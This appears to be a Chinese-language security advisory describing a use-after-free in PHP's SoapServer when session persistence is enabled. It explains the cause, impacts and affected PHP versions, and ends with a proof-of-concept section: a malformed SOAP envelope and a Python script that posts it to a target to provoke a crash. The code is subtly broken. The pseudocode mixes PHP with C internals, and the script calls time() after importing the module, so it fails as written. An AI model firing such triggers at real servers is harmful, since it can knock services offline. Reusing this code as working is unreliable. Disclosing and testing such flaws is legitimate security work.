技术细节
PHP的SOAP扩展是实现Web Services协议的关键组件,广泛应用于企业级SOAP API集成、ERP系统对接、银行系统互联以及电信运营商接口等场景。当PHP应用使用SoapServer并启用会话持久化模式时,该漏洞会被触发。
漏洞原理:持久化对象被提前释放
在正常流程中,当调用$server->setPersistence(SOAP_PERSISTENCE_SESSION)时,handler对象会在整个会话期间保持存活,不会随着单次handle()调用结束而被释放。这是SOAP会话状态管理的核心机制。
然而,当handle()解析到格式异常的SOAP请求并产生Fault/Exception时,错误回调函数会直接调用zval_ptr_dtor(soap_obj)提前释放持久化handler对象,而不会检查当前是否处于持久化模式:
php
// 问题代码路径(简化表示)
function soap_handle(SoapServer $server, string $request) {
$handler = $server->getHandler();
try {
// 解析SOAP请求...
result = parse_soap($request);
} catch (SoapFault $e) {
// 错误处理路径 - 这里存在UAF缺陷
// 直接释放handler,未检查持久化状态
zval_ptr_dtor($handler); // ← 提前释放
throw $e;
}
// 正常流程会在这里释放
// 但异常路径已经提前释放了对象
return result;
}
Use-After-Free发生机制
当handler对象被提前释放后,后续代码(清理逻辑、日志记录、返回Fault XML等)仍然尝试访问该对象的指针。此时对象内存已被标记为可回收状态,但指针仍然存在,形成了经典的Use-After-Free条件:
- 异常请求触发错误处理路径
- handler对象被提前释放,内存返回堆池
- 同一请求或后续请求的代码尝试访问已释放的handler
- 触发SIGSEGV(段错误)或读取到已被覆写的堆内存
潜在影响分析
该漏洞在不同场景下可导致三种危害程度递增的后果:
服务拒绝 (DoS)- 最常见后果:PHP-FPM或Apache子进程因访问已释放内存段而崩溃(SIGSEGV),导致服务间歇性中断
信息泄露- UAF可读取残留堆内存片段,可能泄露同一进程内其他请求的敏感数据(会话内容、变量值)
潜在RCE (理论)- 在特定编译选项和PHP版本下,结合堆风水(Heap Feng Shui)技术和受控对象重建,理论上可实现控制流劫持(实际利用难度较高)
PoC / 利用代码
⚠ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
异常SOAP请求示例(触发Fault路径):
xml
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soap:Body>
<InvalidService>
<param>test</param>
</InvalidService>
</soap:Body>
</soap:Envelope>
Python自动化测试脚本:
python
import requests
import time
TARGET = "http://target.example.com/soap.php"
# 异常的SOAP请求 - 触发SoapServer UAF
malicious_request = '''<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<NonExistentMethod>
<param>trigger_uaf</param>
</NonExistentMethod>
</soap:Body>
</soap:Envelope>'''
def test_uaf():
# 首次请求建立持久化会话
session = requests.Session()
session.post(TARGET, data=malicious_request)
# 第二次请求触发异常,尝试触发UAF
start = time()
try:
response = session.post(TARGET, data=malicious_request, timeout=5)
except requests.exceptions.Timeout:
print("[!] 请求超时 - 可能触发进程崩溃")
return True
except Exception as e:
print("[!] 异常: {}".format(e))
return True
elapsed = time() - start
print("[-] 响应时间: {}s".format(round(elapsed, 2)))
return False
if __name__ == "__main__":
test_uaf()
影响范围
PHP 8.2.x< 8.2.31 (Debian Bookworm: 8.2.31-1~deb12u1)
PHP 8.3.x< 8.3.31
PHP 8.4.x< 8.4.21 (Debian Trixie: 8.4.21-1~deb13u1)
前提条件:编译时启用--enable-soap且代码使用SoapServer + setPersistence(SOAP_PERSISTENCE_SESSION)
典型应用场景:企业内部服务总线(ESB)、银行/电信老系统对接、第三方SOAP API网关、供应链集成系统